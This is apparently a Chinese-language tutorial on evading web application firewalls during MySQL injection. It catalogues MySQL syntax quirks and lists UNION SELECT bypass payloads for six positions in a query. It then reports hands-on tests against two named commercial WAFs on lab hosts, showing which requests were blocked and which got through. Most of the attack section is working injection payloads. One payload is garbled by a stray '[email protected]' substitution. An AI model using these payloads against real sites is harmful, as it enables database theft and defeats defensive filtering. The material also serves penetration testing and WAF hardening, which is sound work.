Mysql注入bypass攻略
0x00前言
将最近研究的mysql注入bypass内容和自己的思考做些整理,在分析的基础上,实战bypass国内两款软件型WAF,前半部分内容虽然很基础,但希望大家能够很熟悉这些知识,基础面越广,后续可利用的手法、可替换的函数、可构造payload种类也会呈正比例增长。
0x01 Mysql知识点
本章主要提及一些mysql的各类运算符号,并将mysql的函数进行分类,分析不同类函数的受用点,除此之外,还有注释及空白字符的总结,当然mysql的一些固定语法也很重要,这里就不再提及。
(1)逻辑符
and、&&
逻辑与
or、||
逻辑或
not、!
逻辑非
xor
逻辑异或
(2)比较符
=
等于
<>、!=
不等于
>=
大于等于
<=
小于等于
between and
在之间
in
在之中
not in
不在之中
is null
判断是否为null
like
像 模糊匹配中%代表随机匹配多位 _代表随机匹配一位
regexp
匹配正则表达式 不区分大小写
regexp binary
匹配正则表达式 区分大小写
rlike
匹配 等价于regexp
(3)位运算符
&
位与运算
|
位或运算
^
位异或运算
~
位取反
>>
位右移
<<
位左移
(4)运算符
+
加法
-
减法
*
乘法
/、div
除法
%、mod
取余
(5)单行处理函数
单行处理函数可以用来判断,可放在条件子句之后。
lower
小写
upper
大写
length
取长度
trim
去除两边空白字符
concat
拼接
substr
截取字符
rand
取随机数
round
四舍五入
abs
取绝对值 等
(6)多行处理函数
由于mysql的语句执行顺序,多行函数是不允许出现在where条件之后的,所以不可用来做判断。
max
取大
min
取小
avg
取平均
count
取数量
sum
求和 等
(7)其他函数
LPAD(str,len,padstr)
RPAD(str,len,padstr)
LEFT(str,length);
CONCAT_WS(separator,str1,str2,...)
TRUNCATE(X,D
)
CEIL(expression)
EXP(X
)
FLOOR(X)
BIT_LENGTH(str)
ELT(N,str1,str2,str3,...)
MAKE_SET(bits,str1,str2,...)
REPLACE(str,from_str,to_str)
CONV(N,from_base,to_base)
等
这里只列举部分可能会用到的函数,当然最全且最详细的函数列表可以去查看mysql的手册,这里推荐一个查找mysql函数的地址:https://www.jc2182.com/mysql/mysql-ref.html
(8)注释
# 、 --+ 、/**/ 、/*!99999*/ 、;%00
单行注释符#、-- 、–+可以结合换行符%0a使用
(9)空白字符
%09、%0A、%0B、%0D、%20、%0C
0x02 特性
由于实战环境千差万别,想要有一劳永逸的通用bypass手法也不太可能,针对不同WAF、数据库、目标系统以及中间件的特性来绕过更具有针对性,效果也很明显。
(1) WAF特性
说到WAF的特性,那么我们首先要对WAF进行分类,目前市面上的WAF大致分为三类:软件WAF如安全狗、云锁;硬件WAF大多都出自各个安全厂商;云WAF如阿里云、腾讯云。各类WAF各有短肋,因此我们要了解并学会利用。
软件WAF的流程要有大致了解,一般是首先filter过滤掉某些字符,然后去匹配正则,那么绕过的思路就是打断正则匹配,我们可以找出其过滤掉的字符放在不影响sql语句执行的地方(大多为注释里)中,尝试或fuzz出一种经过filter处理后正则匹配不到的payload;也可以使用其他干扰字符或将重点检测的字符串包裹、拼接来达到打断正则。后文实战中会着重讲解。目前网上已有文章结合逆向解出软件WAF的正则规则,白盒测试绕过,这个思路也非常的好,结合自己所长。软件WAF还可以利用填充垃圾数据、chunk编码绕过、更改传参方式(可利用multipart),这类属于固定手法,这里笔者也不再叙述,可以参考其他文章来复现。
硬件WAF大多都是安全厂商自己开发的引擎,那么引擎的性能对于规则的匹配也很重要,因此可利用填充垃圾数据大数据包使引擎能力不足导致绕过;其次,硬件WAF各自对于tcp分片重组能力不同,大多引擎会有一个阈值,若超过则不会进行重组,可以编写python脚本去探测阈值来达到绕过。
云WAF部署在云上,那么最简单且好用的方法就是查找目标的真实IP,云WAF不只是关键字匹配,还会去检索语法,其对mysql函数的覆盖也很广,因此云WAF的绕过需结合测试分析的结果大量fuzz。
(2) Mysql特性
算是一些小tips吧。
Mysql中N代表null N后跟sql语句时可以不用空格或空白字符。
科学计数法 1e2=100 科学计数法表达式后跟sql语句时可以不用空格或空白字符。
. 小数后跟sql语句时可以不用空格或空白字符。
{xx 1} 其中xx为注释内容可随意填写,xx后面空格后为数字。
科学计数法e符号在特定情况下会被忽略,1.e这种形式的字符串后面如果是(),则可被忽略。
(3) 系统、中间件特性
这里就是老生常谈了,在asp和iis的环境中,iis会忽略%,iis还支持unicode解析,而unicode也有好几种形式;除此还有参数污染,各类编码绕过等。
0x03 语句分析
每个sql语句的不同点位可以使用不同的方法来绕过规则,下面就以常见的联合查询语句进行分析。
select * from users where ?id= union select 1 user (),3 from users
(1) 点位一
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1%09union select 1,2,3 from users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1/*!*/union select 1,2,3 from users
N: ?id=Nunion select 1,2,3 from users
科学计数法:1e0
?id=1e0union select 1,2,3 from users
小数:1.1
?id=1.1union select 1,2,3 from users
(): ?id=(1)union select 1,2,3 from users
{xx 1}: ?id={xx 1}union select 1,2,3 from users
单、双引号:
?id=1 and ""union select 1,2,3 from users
(2) 点位二
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1 union%09select 1,2,3 from users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1 union/*!*/select 1,2,3 from users
括号: ?id=1 union(select 1,2,3 from users)
All、distinct、distinctrow:
?id=1 union all select 1,2,3 from users
(3) 点位三
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1 union select%091,2,3 from users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1 union select/*!*/1,2,3 from users
(): ?id=1 union select(1),2,3 from users
{xx 1}: ?id=1 union select{xx 1},2,3 from users
+: ?id=1 union select+1,2,3 from users
-: ?id=1 union select-1,2,3 from users
@: ?id=1 union [email protected],2,3 from users
单引号: ?id=1 union select’1’,2,3 from users
双引号: ?id=1 union select”1”,2,3 from users
反引号:?id=1 union select``1``,2,3 from users
All、distinct、distinctrow:
?id=1 union select all 1,2,3 from users
(4) 点位四
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1 union select 1,user%09(),3 from users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1 union select 1,user/*!*/(),3 from users
1.e: ?id=1 union select 1,user 1.e(),3 from users
(5) 点位五
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1 union select 1,2,3%09from users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1 union select 1,2,3/*!*/from users
N: ?id=1 union select 1,2,Nfrom users
科学计数法:1e0
?id=1 union select 1,2,1e0from users
小数:1.1
?id=1 union select 1,2,1.1from users
(): ?id=1 union select 1,2,(3)from users
{xx 3}: ?id=1 union select 1,2,{xx 3}from users
单、双引号:
?id=1 union select 1,2,”3”from users
反引号:
?id=1 union select1,2,``3``from users
(6) 点位六
空白字符:%09、%0A、%0B、%0D、%20、%0C
?id=1 union select 1,2,3 from%09users
注释符:/**/、#%0a、-- %0a、/*!*/
?id=1 union select 1,2,3 from/*!*/users
(): ?id=1 union select 1,2,3 from(users)
{xx users}: ?id=1 union select 1,2,3 from{xx users}
0x04 实战bypass安全狗
各个点位可以使用的字符和方法并不是单一的,你可以尝试将同一点位可以使用的不同符号组合起来,只要sql语句可以执行成功那就满足我们的需求,下面我们将实战测试安全狗,测试过程中我们要清楚WAF拦截的内容是什么。
尝试绕过and 1=1
http://192.168.206.130/sqli/Less-2/?id=1 and 1=1
拦截
http://192.168.206.130/sqli/Less-2/?id=1 and
不拦截
那么就是拦截的有and并且后面是1=1,1=1其实就是逻辑为真,那如果后面不是1=1,and后是不是只要逻辑为真就可以呢,我们随便替换一个函数尝试一下。
没有问题。
我们换个思路我就是想后面是1=1呢?
http://192.168.206.130/sqli/Less-2/?id=1 aand 1=1
不拦截
那说明and前是字母不是空格的话就可以,尝试N。
尝试绕过union select
http://192.168.206.130/sqli/Less-2/?id=Nunion/%20select
拦截
尝试使用注释
http://192.168.206.130/sqli/Less-2/?id=Nunion/*2345adfsafdsf6345*/select
拦截
192.168.206.130/sqli/Less-2/??id=Nunion/*@#¥%&*()——*/select
不拦截
Union和select之间如果选择使用注释符号,注释符号之间的内容若为数字或字母都会被拦截,若为字符可能不拦截,那我们此时就要fuzz不被拦截且sql语句成立的payload。
尝试绕过user()
同理在user和括号之间使用注释fuzz
0x05 实战bypass云锁
尝试绕过and 1=1
http://192.168.206.132/sqli/Less-2/?id=1 and abs(-1)
拦截
http://192.168.206.132/sqli/Less-2/?id=1 and
拦截
可见云锁对and和or的判断要比安全狗严格,只要空格或数字后面是and就会拦截,尝试N,很轻松绕过,其实我在测试的过程还发现很多都可以绕过,都源于上面基础的特性组合,对mysql越熟悉,那么思路越发散。
最后放一个测试绕过的payload,报错函数绕过:
0x06 写在最后
最后留个自己写的fuzz字典生成脚本吧,可以以多字符为单位组合生成两种字典,两种模式:一种字符可重复,一种不可重复,着实好用。项目地址:https://github.com/Judassss/FuzzDict